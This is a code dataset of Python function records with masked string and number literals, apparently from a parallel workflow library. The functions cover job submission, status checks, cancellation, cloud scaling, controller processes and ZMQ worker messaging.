{"signature": "def cancel(self, job_ids):", "body": "statuses = []<EOL>for job_id in job_ids:<EOL><INDENT>try:<EOL><INDENT>self.delete_instance(job_id)<EOL>statuses.append(True)<EOL>self.provisioned_blocks -= <NUM_LIT:1><EOL><DEDENT>except Exception:<EOL><INDENT>statuses.append(False)<EOL><DEDENT><DEDENT>return statuses<EOL>", "docstring": "Cancels the resources identified by the job_ids provided by the user.\n\n        Args:\n             - job_ids (list): A list of job identifiers\n\n        Returns:\n             - A list of status from cancelling the job which can be True, False\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2793:c0:m3"}
{"signature": "@property<EOL><INDENT>def scaling_enabled(self):<DEDENT>", "body": "return True<EOL>", "docstring": "Scaling is enabled\n\n        Returns:\n              - Status (Bool)", "id": "f2793:c0:m4"}
{"signature": "@property<EOL><INDENT>def current_capacity(self):<DEDENT>", "body": "return self.provisioned_blocks<EOL>", "docstring": "Returns the number of currently provisioned blocks.", "id": "f2793:c0:m5"}
{"signature": "def _status(self):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(self.resources.keys())<EOL>jobs_missing = list(self.resources.keys())<EOL>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\".format(job_id_list))<EOL>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>parts = line.split()<EOL>if not parts or parts[<NUM_LIT:0>].upper().startswith('<STR_LIT>') or parts[<NUM_LIT:0>].startswith('<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>job_id = parts[<NUM_LIT:0>]<EOL>status = translate_table.get(parts[<NUM_LIT:4>], '<STR_LIT>')<EOL>self.resources[job_id]['<STR_LIT:status>'] = status<EOL>jobs_missing.remove(job_id)<EOL><DEDENT>for missing_job in jobs_missing:<EOL><INDENT>if self.resources[missing_job]['<STR_LIT:status>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.resources[missing_job]['<STR_LIT:status>'] = translate_table['<STR_LIT:E>']<EOL><DEDENT><DEDENT>", "docstring": "Internal: Do not call. Returns the status list for a list of job_ids\n\n        Args:\n              self\n\n        Returns:\n              [status...] : Status list of all jobs", "id": "f2795:c0:m1"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "if self.provisioned_blocks >= self.max_blocks:<EOL><INDENT>logger.warn(\"<STR_LIT>\", self.label)<EOL>return None<EOL><DEDENT>if blocksize < self.nodes_per_block:<EOL><INDENT>blocksize = self.nodes_per_block<EOL><DEDENT>job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>logger.debug(\"<STR_LIT>\", blocksize, self.nodes_per_block,<EOL>tasks_per_node)<EOL>job_config = {}<EOL>job_config[\"<STR_LIT>\"] = self.channel.script_dir<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block * tasks_per_node<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block<EOL>job_config[\"<STR_LIT>\"] = tasks_per_node<EOL>job_config[\"<STR_LIT>\"] = self.walltime<EOL>job_config[\"<STR_LIT>\"] = self.scheduler_options<EOL>job_config[\"<STR_LIT>\"] = self.worker_init<EOL>job_config[\"<STR_LIT>\"] = command<EOL>job_config[\"<STR_LIT>\"] = self.launcher(command,<EOL>tasks_per_node,<EOL>self.nodes_per_block)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._write_submit_script(template_string, script_path, job_name, job_config)<EOL>channel_script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL>submit_options = '<STR_LIT>'<EOL>if self.queue is not None:<EOL><INDENT>submit_options = '<STR_LIT>'.format(submit_options, self.queue)<EOL><DEDENT>if self.account is not None:<EOL><INDENT>submit_options = '<STR_LIT>'.format(submit_options, self.account)<EOL><DEDENT>launch_cmd = \"<STR_LIT>\".format(submit_options, channel_script_path)<EOL>retcode, stdout, stderr = super().execute_wait(launch_cmd)<EOL>job_id = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.strip():<EOL><INDENT>job_id = line.strip()<EOL>self.resources[job_id] = {'<STR_LIT>': job_id, '<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': blocksize}<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>message = \"<STR_LIT>\".format(launch_cmd, retcode)<EOL>if (stdout is not None) and (stderr is not None):<EOL><INDENT>message += \"<STR_LIT>\".format(stderr.strip(), stdout.strip())<EOL><DEDENT>logger.error(message)<EOL><DEDENT>return job_id<EOL>", "docstring": "Submits the command onto an Local Resource Manager job of blocksize parallel elements.\n        Submit returns an ID that corresponds to the task that was just submitted.\n\n        If tasks_per_node <  1 : ! This is illegal. tasks_per_node should be integer\n\n        If tasks_per_node == 1:\n             A single node is provisioned\n\n        If tasks_per_node >  1 :\n             tasks_per_node * blocksize number of nodes are provisioned.\n\n        Args:\n             - command  :(String) Commandline invocation to be made on the remote side.\n             - blocksize   :(float)\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        Kwargs:\n             - job_name (String): Name for job, must be unique\n\n        Returns:\n             - None: At capacity, cannot provision more\n             - job_id: (string) Identifier for the job", "id": "f2795:c0:m2"}
{"signature": "def cancel(self, job_ids):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(job_ids)<EOL>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\".format(job_id_list))<EOL>rets = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for jid in job_ids:<EOL><INDENT>self.resources[jid]['<STR_LIT:status>'] = translate_table['<STR_LIT:E>']  <EOL><DEDENT>rets = [True for i in job_ids]<EOL><DEDENT>else:<EOL><INDENT>rets = [False for i in job_ids]<EOL><DEDENT>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job ids\n\n        Args:\n        job_ids : [<job_id> ...]\n\n        Returns :\n        [True/False...] : If the cancel operation fails the entire list will be False.", "id": "f2795:c0:m3"}
{"signature": "def scale_out(self, blocks=<NUM_LIT:1>, block_size=<NUM_LIT:1>):", "body": "self.config['<STR_LIT>'.format(self.pool)]['<STR_LIT>']<EOL>count = <NUM_LIT:0><EOL>if blocks == <NUM_LIT:1>:<EOL><INDENT>block_id = len(self.blocks)<EOL>self.blocks[block_id] = []<EOL>for instance_id in range(<NUM_LIT:0>, block_size):<EOL><INDENT>instances = self.server_manager.create(<EOL>'<STR_LIT>'.format(block_id, instance_id),  <EOL>self.client.images.get('<STR_LIT>'),  <EOL>self.client.flavors.list()[<NUM_LIT:0>],<EOL>min_count=<NUM_LIT:1>,<EOL>max_count=<NUM_LIT:1>,<EOL>userdata=setup_script.format(engine_config=self.engine_config),<EOL>key_name='<STR_LIT>',<EOL>security_groups=['<STR_LIT>'],<EOL>nics=[{<EOL>\"<STR_LIT>\": '<STR_LIT>',<EOL>\"<STR_LIT>\": '<STR_LIT>',<EOL>\"<STR_LIT>\": '<STR_LIT>'<EOL>}])<EOL>self.blocks[block_id].extend([instances])<EOL>count += <NUM_LIT:1><EOL><DEDENT><DEDENT>return count<EOL>", "docstring": "Scale out the existing resources.", "id": "f2798:c0:m1"}
{"signature": "def scale_in(self, blocks=<NUM_LIT:0>, machines=<NUM_LIT:0>, strategy=None):", "body": "count = <NUM_LIT:0><EOL>instances = self.client.servers.list()<EOL>for instance in instances[<NUM_LIT:0>:machines]:<EOL><INDENT>print(\"<STR_LIT>\", instance)<EOL>instance.delete()<EOL>count += <NUM_LIT:1><EOL><DEDENT>return count<EOL>", "docstring": "Scale in resources", "id": "f2798:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):<DEDENT>", "body": "pass<EOL>", "docstring": "The submit method takes the command string to be executed upon\n        instantiation of a resource most often to start a pilot (such as IPP engine\n        or even Swift-T engines).\n\n        Args :\n             - command (str) : The bash command string to be executed\n             - blocksize (int) : Blocksize to be requested\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        KWargs:\n             - job_name (str) : Human friendly name to be assigned to the job request\n\n        Returns:\n             - A job identifier, this could be an integer, string etc\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2799:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def status(self, job_ids):<DEDENT>", "body": "pass<EOL>", "docstring": "Get the status of a list of jobs identified by the job identifiers\n        returned from the submit request.\n\n        Args:\n             - job_ids (list) : A list of job identifiers\n\n        Returns:\n             - A list of status from ['PENDING', 'RUNNING', 'CANCELLED', 'COMPLETED',\n               'FAILED', 'TIMEOUT'] corresponding to each job_id in the job_ids list.\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2799:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def cancel(self, job_ids):<DEDENT>", "body": "pass<EOL>", "docstring": "Cancels the resources identified by the job_ids provided by the user.\n\n        Args:\n             - job_ids (list): A list of job identifiers\n\n        Returns:\n             - A list of status from cancelling the job which can be True, False\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2799:c0:m2"}
{"signature": "@abstractproperty<EOL><INDENT>def scaling_enabled(self):<DEDENT>", "body": "pass<EOL>", "docstring": "The callers of ParslExecutors need to differentiate between Executors\n        and Executors wrapped in a resource provider\n\n        Returns:\n              - Status (Bool)", "id": "f2799:c0:m3"}
{"signature": "@abstractproperty<EOL><INDENT>def label(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Provides the label for this provider", "id": "f2799:c0:m4"}
{"signature": "def _write_submit_script(self, template, script_filename, job_name, configs):", "body": "try:<EOL><INDENT>submit_script = Template(template).substitute(jobname=job_name, **configs)<EOL>with open(script_filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(submit_script)<EOL><DEDENT><DEDENT>except KeyError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", e)<EOL>raise (SchedulerMissingArgs(e.args, self.sitename))<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", script_filename)<EOL>raise (ScriptPathError(script_filename, e))<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\", template)<EOL>print(\"<STR_LIT>\", job_name)<EOL>print(\"<STR_LIT>\", configs)<EOL>logger.error(\"<STR_LIT>\", e)<EOL>raise (e)<EOL><DEDENT>return True<EOL>", "docstring": "Generate submit script and write it to a file.\n\n        Args:\n              - template (string) : The template string to be used for the writing submit script\n              - script_filename (string) : Name of the submit script\n              - job_name (string) : job name\n              - configs (dict) : configs that get pushed into the template\n\n        Returns:\n              - True: on success\n\n        Raises:\n              SchedulerMissingArgs : If template is missing args\n              ScriptPathError : Unable to write submit script out", "id": "f2800:c0:m2"}
{"signature": "def submit(self, cmd_string, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "raise NotImplementedError<EOL>", "docstring": "The submit method takes the command string to be executed upon\n        instantiation of a resource most often to start a pilot (such as IPP engine\n        or even Swift-T engines).\n\n        Args :\n             - cmd_string (str) : The bash command string to be executed\n             - blocksize (int) : Blocksize to be requested\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        KWargs:\n             - job_name (str) : Human friendly name to be assigned to the job request\n\n        Returns:\n             - A job identifier, this could be an integer, string etc\n\n        Raises:\n             - ExecutionProviderExceptions or its subclasses", "id": "f2800:c0:m3"}
{"signature": "def status(self, job_ids):", "body": "if job_ids:<EOL><INDENT>self._status()<EOL><DEDENT>return [self.resources[jid]['<STR_LIT:status>'] for jid in job_ids]<EOL>", "docstring": "Get the status of a list of jobs identified by the job identifiers\n        returned from the submit request.\n\n        Args:\n             - job_ids (list) : A list of job identifiers\n\n        Returns:\n             - A list of status from ['PENDING', 'RUNNING', 'CANCELLED', 'COMPLETED',\n               'FAILED', 'TIMEOUT'] corresponding to each job_id in the job_ids list.\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2800:c0:m5"}
{"signature": "def cancel(self, job_ids):", "body": "raise NotImplementedError<EOL>", "docstring": "Cancels the resources identified by the job_ids provided by the user.\n\n        Args:\n             - job_ids (list): A list of job identifiers\n\n        Returns:\n             - A list of status from cancelling the job which can be True, False\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2800:c0:m6"}
{"signature": "@property<EOL><INDENT>def scaling_enabled(self):<DEDENT>", "body": "return self._scaling_enabled<EOL>", "docstring": "The callers of ParslExecutors need to differentiate between Executors\n        and Executors wrapped in a resource provider\n\n        Returns:\n              - Status (Bool)", "id": "f2800:c0:m7"}
{"signature": "@property<EOL><INDENT>def current_capacity(self):<DEDENT>", "body": "return self.provisioned_blocks<EOL>", "docstring": "Returns the currently provisioned blocks.\n        This may need to return more information in the futures :\n        { minsize, maxsize, current_requested }", "id": "f2800:c0:m8"}
{"signature": "def _status(self):", "body": "jobs_missing = list(self.resources.keys())<EOL>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\")<EOL>if retcode != <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.startswith('<STR_LIT:=>'):<EOL><INDENT>continue<EOL><DEDENT>parts = line.upper().split()<EOL>if parts and parts[<NUM_LIT:0>] != '<STR_LIT>':<EOL><INDENT>job_id = parts[<NUM_LIT:0>]<EOL>if job_id not in self.resources:<EOL><INDENT>continue<EOL><DEDENT>status = translate_table.get(parts[<NUM_LIT:4>], '<STR_LIT>')<EOL>self.resources[job_id]['<STR_LIT:status>'] = status<EOL>jobs_missing.remove(job_id)<EOL><DEDENT><DEDENT>for missing_job in jobs_missing:<EOL><INDENT>if self.resources[missing_job]['<STR_LIT:status>'] in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.resources[missing_job]['<STR_LIT:status>'] = translate_table['<STR_LIT>']<EOL><DEDENT><DEDENT>", "docstring": "Internal: Do not call. Returns the status list for a list of job_ids\n\n        Args:\n              self\n\n        Returns:\n              [status...] : Status list of all jobs", "id": "f2802:c0:m1"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "if self.provisioned_blocks >= self.max_blocks:<EOL><INDENT>logger.warn(\"<STR_LIT>\", self.label)<EOL>return None<EOL><DEDENT>if blocksize < self.nodes_per_block:<EOL><INDENT>blocksize = self.nodes_per_block<EOL><DEDENT>account_opt = '<STR_LIT>'.format(self.account) if self.account is not None else '<STR_LIT>'<EOL>job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>job_config = {}<EOL>job_config[\"<STR_LIT>\"] = self.scheduler_options<EOL>job_config[\"<STR_LIT>\"] = self.worker_init<EOL>logger.debug(\"<STR_LIT>\",<EOL>blocksize, self.nodes_per_block, tasks_per_node)<EOL>job_config[\"<STR_LIT>\"] = self.launcher(command, tasks_per_node, self.nodes_per_block)<EOL>queue_opt = '<STR_LIT>'.format(self.queue) if self.queue is not None else '<STR_LIT>'<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._write_submit_script(template_string, script_path, job_name, job_config)<EOL>channel_script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL>command = '<STR_LIT>'.format(<EOL>self.nodes_per_block, queue_opt, wtime_to_minutes(self.walltime), account_opt, channel_script_path)<EOL>logger.debug(\"<STR_LIT>\".format(command))<EOL>retcode, stdout, stderr = super().execute_wait(command)<EOL>if retcode != <NUM_LIT:0>:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(command))<EOL>logger.error(\"<STR_LIT>\".format(stdout, stderr))<EOL><DEDENT>logger.debug(\"<STR_LIT>\", retcode, stdout.strip(), stderr.strip())<EOL>job_id = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>job_id = stdout.strip()<EOL>self.resources[job_id] = {'<STR_LIT>': job_id, '<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': blocksize}<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(stderr))<EOL>raise (ScaleOutFailed(self.__class__, \"<STR_LIT>\"))<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(job_id))<EOL>return job_id<EOL>", "docstring": "Submits the command onto an Local Resource Manager job of blocksize parallel elements.\n        Submit returns an ID that corresponds to the task that was just submitted.\n\n        If tasks_per_node <  1 : ! This is illegal. tasks_per_node should be integer\n\n        If tasks_per_node == 1:\n             A single node is provisioned\n\n        If tasks_per_node >  1 :\n             tasks_per_node * blocksize number of nodes are provisioned.\n\n        Args:\n             - command  :(String) Commandline invocation to be made on the remote side.\n             - blocksize   :(float)\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        Kwargs:\n             - job_name (String): Name for job, must be unique\n\n        Returns:\n             - None: At capacity, cannot provision more\n             - job_id: (string) Identifier for the job", "id": "f2802:c0:m2"}
{"signature": "def cancel(self, job_ids):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(job_ids)<EOL>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\".format(job_id_list))<EOL>rets = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for jid in job_ids:<EOL><INDENT>self.resources[jid]['<STR_LIT:status>'] = translate_table['<STR_LIT>']  <EOL><DEDENT>rets = [True for i in job_ids]<EOL><DEDENT>else:<EOL><INDENT>rets = [False for i in job_ids]<EOL><DEDENT>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job ids\n\n        Args:\n        job_ids : [<job_id> ...]\n\n        Returns :\n        [True/False...] : If the cancel operation fails the entire list will be False.", "id": "f2802:c0:m3"}
{"signature": "def submit(self, *args, **kwargs):", "body": "return self.executor.submit(*args, **kwargs)<EOL>", "docstring": "Submits work to the thread pool.\n\n        This method is simply pass through and behaves like a submit call as described\n        here `Python docs: <https://docs.python.org/3/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor>`_", "id": "f2803:c0:m3"}
{"signature": "def scale_out(self, workers=<NUM_LIT:1>):", "body": "raise NotImplementedError<EOL>", "docstring": "Scales out the number of active workers by 1.\n\n        This method is notImplemented for threads and will raise the error if called.\n\n        Raises:\n             NotImplemented exception", "id": "f2803:c0:m4"}
{"signature": "def scale_in(self, blocks):", "body": "raise NotImplementedError<EOL>", "docstring": "Scale in the number of active blocks by specified amount.\n\n        This method is not implemented for threads and will raise the error if called.\n\n        Raises:\n             NotImplemented exception", "id": "f2803:c0:m5"}
{"signature": "def shutdown(self, block=False):", "body": "x = self.executor.shutdown(wait=block)<EOL>logger.debug(\"<STR_LIT>\")<EOL>return x<EOL>", "docstring": "Shutdown the ThreadPool.\n\n        Kwargs:\n            - block (Bool): To block for confirmations or not", "id": "f2803:c0:m6"}
{"signature": "def start(self):", "body": "if self.mode == \"<STR_LIT>\":<EOL><INDENT>return<EOL><DEDENT>if self.ipython_dir != '<STR_LIT>':<EOL><INDENT>self.ipython_dir = os.path.abspath(os.path.expanduser(self.ipython_dir))<EOL><DEDENT>if self.log:<EOL><INDENT>stdout = open(os.path.join(self.ipython_dir, \"<STR_LIT>\".format(self.profile)), '<STR_LIT:w>')<EOL>stderr = open(os.path.join(self.ipython_dir, \"<STR_LIT>\".format(self.profile)), '<STR_LIT:w>')<EOL><DEDENT>else:<EOL><INDENT>stdout = open(os.devnull, '<STR_LIT:w>')<EOL>stderr = open(os.devnull, '<STR_LIT:w>')<EOL><DEDENT>try:<EOL><INDENT>opts = [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>' if self.ipython_dir == '<STR_LIT>' else '<STR_LIT>'.format(self.ipython_dir),<EOL>self.interfaces if self.interfaces is not None else '<STR_LIT>',<EOL>'<STR_LIT>' if self.profile == '<STR_LIT:default>' else '<STR_LIT>'.format(self.profile),<EOL>'<STR_LIT>' if self.reuse else '<STR_LIT>',<EOL>'<STR_LIT>'.format(self.public_ip) if self.public_ip else '<STR_LIT>',<EOL>'<STR_LIT>'.format(self.port) if self.port is not None else '<STR_LIT>'<EOL>]<EOL>if self.port_range is not None:<EOL><INDENT>opts += [<EOL>'<STR_LIT>'.format(self.hb_ping, self.hb_pong),<EOL>'<STR_LIT>'.format(self.control_client, self.control_engine),<EOL>'<STR_LIT>'.format(self.mux_client, self.mux_engine),<EOL>'<STR_LIT>'.format(self.task_client, self.task_engine)<EOL>]<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format('<STR_LIT:U+0020>'.join([str(x) for x in opts])))<EOL>self.proc = subprocess.Popen(opts, stdout=stdout, stderr=stderr, preexec_fn=os.setsid)<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>logger.error(msg)<EOL>raise ControllerError(msg)<EOL><DEDENT>except Exception as e:<EOL><INDENT>msg = \"<STR_LIT>\".format(e)<EOL>logger.error(msg)<EOL>raise ControllerError(msg)<EOL><DEDENT>", "docstring": "Start the controller.", "id": "f2805:c0:m1"}
{"signature": "@property<EOL><INDENT>def engine_file(self):<DEDENT>", "body": "return os.path.join(self.ipython_dir,<EOL>'<STR_LIT>'.format(self.profile),<EOL>'<STR_LIT>')<EOL>", "docstring": "Specify path to the ipcontroller-engine.json file.\n\n        This file is stored in in the ipython_dir/profile folders.\n\n        Returns :\n              - str, File path to engine file", "id": "f2805:c0:m2"}
{"signature": "@property<EOL><INDENT>def client_file(self):<DEDENT>", "body": "return os.path.join(self.ipython_dir,<EOL>'<STR_LIT>'.format(self.profile),<EOL>'<STR_LIT>')<EOL>", "docstring": "Specify path to the ipcontroller-client.json file.\n\n        This file is stored in in the ipython_dir/profile folders.\n\n        Returns :\n              - str, File path to client file", "id": "f2805:c0:m3"}
{"signature": "def close(self):", "body": "if self.reuse:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if self.mode == \"<STR_LIT>\":<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>try:<EOL><INDENT>pgid = os.getpgid(self.proc.pid)<EOL>os.killpg(pgid, signal.SIGTERM)<EOL>time.sleep(<NUM_LIT>)<EOL>os.killpg(pgid, signal.SIGKILL)<EOL>try:<EOL><INDENT>self.proc.wait(timeout=<NUM_LIT:1>)<EOL>x = self.proc.returncode<EOL>if x == <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(x))<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(x))<EOL><DEDENT><DEDENT>except subprocess.TimeoutExpired:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(self.proc.pid))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(self.proc.pid, e))<EOL><DEDENT>", "docstring": "Terminate the controller process and its child processes.\n\n        Args:\n              - None", "id": "f2805:c0:m4"}
{"signature": "def __init__(self, ip_address, port_range):", "body": "self.context = zmq.Context()<EOL>self.zmq_socket = self.context.socket(zmq.DEALER)<EOL>self.zmq_socket.set_hwm(<NUM_LIT:0>)<EOL>self.port = self.zmq_socket.bind_to_random_port(\"<STR_LIT>\".format(ip_address),<EOL>min_port=port_range[<NUM_LIT:0>],<EOL>max_port=port_range[<NUM_LIT:1>])<EOL>self.poller = zmq.Poller()<EOL>self.poller.register(self.zmq_socket, zmq.POLLOUT)<EOL>", "docstring": "TODO: docstring", "id": "f2806:c0:m0"}
{"signature": "def put(self, task_id, buffer):", "body": "task_id_bytes = task_id.to_bytes(<NUM_LIT:4>, \"<STR_LIT>\")<EOL>message = [b\"<STR_LIT>\", task_id_bytes] + buffer<EOL>self.zmq_socket.send_multipart(message)<EOL>logger.debug(\"<STR_LIT>\".format(task_id))<EOL>", "docstring": "TODO: docstring", "id": "f2806:c0:m1"}
{"signature": "def __init__(self, ip_address, port_range):", "body": "self.context = zmq.Context()<EOL>self.zmq_socket = self.context.socket(zmq.DEALER)<EOL>self.zmq_socket.set_hwm(<NUM_LIT:0>)<EOL>self.port = self.zmq_socket.bind_to_random_port(<EOL>\"<STR_LIT>\".format(ip_address),<EOL>min_port=port_range[<NUM_LIT:0>],<EOL>max_port=port_range[<NUM_LIT:1>])<EOL>", "docstring": "TODO: docstring", "id": "f2806:c1:m0"}
{"signature": "def execute_task(f, args, kwargs, user_ns):", "body": "fname = getattr(f, '<STR_LIT>', '<STR_LIT:f>')<EOL>prefix = \"<STR_LIT>\"<EOL>fname = prefix + \"<STR_LIT:f>\"<EOL>argname = prefix + \"<STR_LIT:args>\"<EOL>kwargname = prefix + \"<STR_LIT>\"<EOL>resultname = prefix + \"<STR_LIT:result>\"<EOL>user_ns.update({fname: f,<EOL>argname: args,<EOL>kwargname: kwargs,<EOL>resultname: resultname})<EOL>code = \"<STR_LIT>\".format(resultname, fname,<EOL>argname, kwargname)<EOL>try:<EOL><INDENT>exec(code, user_ns, user_ns)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(e))<EOL>raise e<EOL><DEDENT>else:<EOL><INDENT>return user_ns.get(resultname)<EOL><DEDENT>", "docstring": "Deserialize the buffer and execute the task.\n\n# Returns the result or exception.", "id": "f2807:m0"}
{"signature": "def start_file_logger(filename, rank, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "try:<EOL><INDENT>os.makedirs(os.path.dirname(filename), <NUM_LIT>, True)<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(\"<STR_LIT>\".format(e))<EOL><DEDENT>if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\".format(<EOL>rank)<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(logging.DEBUG)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Args:\n        - filename (string): Name of the file to write logs to\n        - name (string): Logger name\n        - level (logging.LEVEL): Set the logging level.\n        - format_string (string): Set the format string\n\n    Returns:\n       -  None", "id": "f2807:m1"}
{"signature": "def worker(worker_id, task_url, debug=True, logdir=\"<STR_LIT>\", uid=\"<STR_LIT:1>\"):", "body": "start_file_logger('<STR_LIT>'.format(logdir, uid, worker_id),<EOL><NUM_LIT:0>,<EOL>level=logging.DEBUG if debug is True else logging.INFO)<EOL>logger.info(\"<STR_LIT>\".format(worker_id))<EOL>task_ids_received = []<EOL>message_q = zmq_pipes.WorkerMessages(task_url)<EOL>while True:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>task_id, buf = message_q.get()<EOL>task_ids_received.append(task_id)<EOL>user_ns = locals()<EOL>user_ns.update({'<STR_LIT>': __builtins__})<EOL>f, args, kwargs = unpack_apply_message(buf, user_ns, copy=False)<EOL>logger.debug(\"<STR_LIT>\".format(worker_id, task_id))<EOL>result = execute_task(f, args, kwargs, user_ns)<EOL>logger.debug(\"<STR_LIT>\".format(worker_id, task_id))<EOL>reply = {\"<STR_LIT:result>\": result, \"<STR_LIT>\": worker_id}<EOL>message_q.put(task_id, serialize_object(reply))<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "TODO: docstring\n\n    TODO : Cleanup debug, logdir and uid to function correctly", "id": "f2807:m2"}
{"signature": "def start_file_logger(filename, name='<STR_LIT>', level=logging.DEBUG, format_string=None):", "body": "if format_string is None:<EOL><INDENT>format_string = \"<STR_LIT>\"<EOL><DEDENT>global logger<EOL>logger = logging.getLogger(name)<EOL>logger.setLevel(level)<EOL>handler = logging.FileHandler(filename)<EOL>handler.setLevel(level)<EOL>formatter = logging.Formatter(format_string, datefmt='<STR_LIT>')<EOL>handler.setFormatter(formatter)<EOL>logger.addHandler(handler)<EOL>", "docstring": "Add a stream log handler.\n\n    Parameters\n    ---------\n\n    filename: string\n        Name of the file to write logs to. Required.\n    name: string\n        Logger name. Default=\"parsl.executors.interchange\"\n    level: logging.LEVEL\n        Set the logging level. Default=logging.DEBUG\n        - format_string (string): Set the format string\n    format_string: string\n        Format string to use.\n\n    Returns\n    -------\n        None.", "id": "f2808:m0"}
{"signature": "def starter(comm_q, *args, **kwargs):", "body": "<EOL>ic = Interchange(*args, **kwargs)<EOL>comm_q.put(ic.worker_port)<EOL>ic.start()<EOL>logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "Start the interchange process\n\n    The executor is expected to call this function. The args, kwargs match that of the Interchange.__init__", "id": "f2808:m1"}
{"signature": "def start(self):", "body": "logger.info(\"<STR_LIT>\")<EOL>while True:<EOL><INDENT>socks = dict(self.poller.poll(<NUM_LIT:1>))<EOL>if socks.get(self.task_incoming) == zmq.POLLIN:<EOL><INDENT>message = self.task_incoming.recv_multipart()<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.worker_messages.send_multipart(message)<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT>if socks.get(self.worker_messages) == zmq.POLLIN:<EOL><INDENT>message = self.worker_messages.recv_multipart()<EOL>logger.debug(\"<STR_LIT>\")<EOL>self.result_outgoing.send_multipart(message[<NUM_LIT:1>:])<EOL>logger.debug(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "TODO: docstring", "id": "f2808:c0:m1"}
